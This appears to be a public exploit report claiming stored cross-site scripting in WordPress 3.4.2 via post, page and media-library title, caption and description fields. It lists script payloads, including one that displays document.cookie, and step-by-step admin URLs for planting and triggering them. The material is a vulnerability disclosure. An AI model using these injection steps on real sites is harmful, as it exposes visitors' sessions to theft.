| 1 | [ Wordpress 3.4.2 - Multiple XSS Vulnerability ] |
|---|
| 2 | |
|---|
| 3 | Hello, my name is Catur Febrian (nuxbie). |
|---|
| 4 | I have bugs at new webapps wordpress (last version). |
|---|
| 5 | This bugs is XSS (Cross Site Scripting). |
|---|
| 6 | Wordpress 3.4.2 have a multiple vuln. |
|---|
| 7 | 1. XSS WP-Post. |
|---|
| 8 | 2. XSS WP-Page. |
|---|
| 9 | 3. XSS WP-MediaLibrary. |
|---|
| 10 | |
|---|
| 11 | Please, read my exploit report... :-) |
|---|
| 12 | |
|---|
| 13 | Exploit Title: CMS Wordpress - Multiple XSS Vulnerability |
|---|
| 14 | Author : TheCyberNuxbie [ Catur Febrian ] |
|---|
| 15 | E-mail : root@31337sec.com |
|---|
| 16 | Version CMS : Version 3.4.2 (Last Version) |
|---|
| 17 | Category : WebApps / Content Management System (CMS) |
|---|
| 18 | Security Risk: Medium Level |
|---|
| 19 | Link Downlaod: http://www.wordpress.org/ |
|---|
| 20 | Tested On : Mozilla Firefox + Xampp + Windows 7 x32 ID |
|---|
| 21 | |
|---|
| 22 | [ Information Content ] |
|---|
| 23 | WordPress - Web Publishing Software. |
|---|
| 24 | http://www.wordpress.org/ |
|---|
| 25 | |
|---|
| 26 | [ Vulnerability Details ] |
|---|
| 27 | 1. XSS WP-Post. |
|---|
| 28 | 2. XSS WP-Page. |
|---|
| 29 | 3. XSS WP-MediaLibrary. |
|---|
| 30 | |
|---|
| 31 | [ XSS CODE ] |
|---|
| 32 | <script>alert('31337');</script> |
|---|
| 33 | <script>alert(document.cookie);</script> |
|---|
| 34 | <script>window.open("http://www.google.com/")</script> |
|---|
| 35 | |
|---|
| 36 | - Exploit Report: |
|---|
| 37 | 1. Create / Edit WP-Post: |
|---|
| 38 | Input "Title Post" with Script XSS. |
|---|
| 39 | <script>alert('31337');</script> |
|---|
| 40 | http://wordpress/wp-admin/post-new.php <--- Publish. |
|---|
| 41 | View XSS: http://wordpress/?p=xxx <--- XSSed. |
|---|
| 42 | PIC: http://31337sec.com/wordpress/xss-post1.jpg + http://31337sec.com/wordpress/xss-post2.jpg |
|---|
| 43 | |
|---|
| 44 | 2. Create / Edit WP-Page: |
|---|
| 45 | Input "Title Page" with Script XSS. |
|---|
| 46 | <script>alert('31337');</script> |
|---|
| 47 | http://wordpress/wp-admin/post-new.php?post_type=page <--- Publish. |
|---|
| 48 | View XSS: http://wordpress/?page_id=xxx <--- XSSed. |
|---|
| 49 | PIC: http://31337sec.com/wordpress/xss-page1.jpg + http://31337sec.com/wordpress/xss-page2.jpg |
|---|
| 50 | |
|---|
| 51 | 3. Add / Edit WP-Media Library: |
|---|
| 52 | Upload files via Media Library. |
|---|
| 53 | http://wordpress/wp-admin/media-new.php <--- Select File. |
|---|
| 54 | Upload Files, Save...!!! |
|---|
| 55 | Input Form "Title", "Caption", "Description" with Script XSS <--- Save All Changes. |
|---|
| 56 | View XSS: http://wordpress/?attachment_id=xxx <--- XSSed. |
|---|
| 57 | PIC: http://31337sec.com/wordpress/xss-media1.jpg + http://31337sec.com/wordpress/xss-media2.jpg + http://31337sec.com/wordpress/xss-media3.jpg |
|---|
| 58 | |
|---|
| 59 | - Script XSS will be affacted: |
|---|
| 60 | 1. Frontend Website (post). |
|---|
| 61 | http://wordpress/?p=xxx <--- XSSed. |
|---|
| 62 | 2. Frontend Website (page). |
|---|
| 63 | http://wordpress/?page_id=xxx <--- XSSed. |
|---|
| 64 | 3. Frontend Website (attachment). |
|---|
| 65 | http://wordpress/?attachment_id=xxx <--- XSSed. |
|---|
| 66 | |
|---|
| 67 | Thanks... |
|---|
| 68 | TheCyberNuxbie |
|---|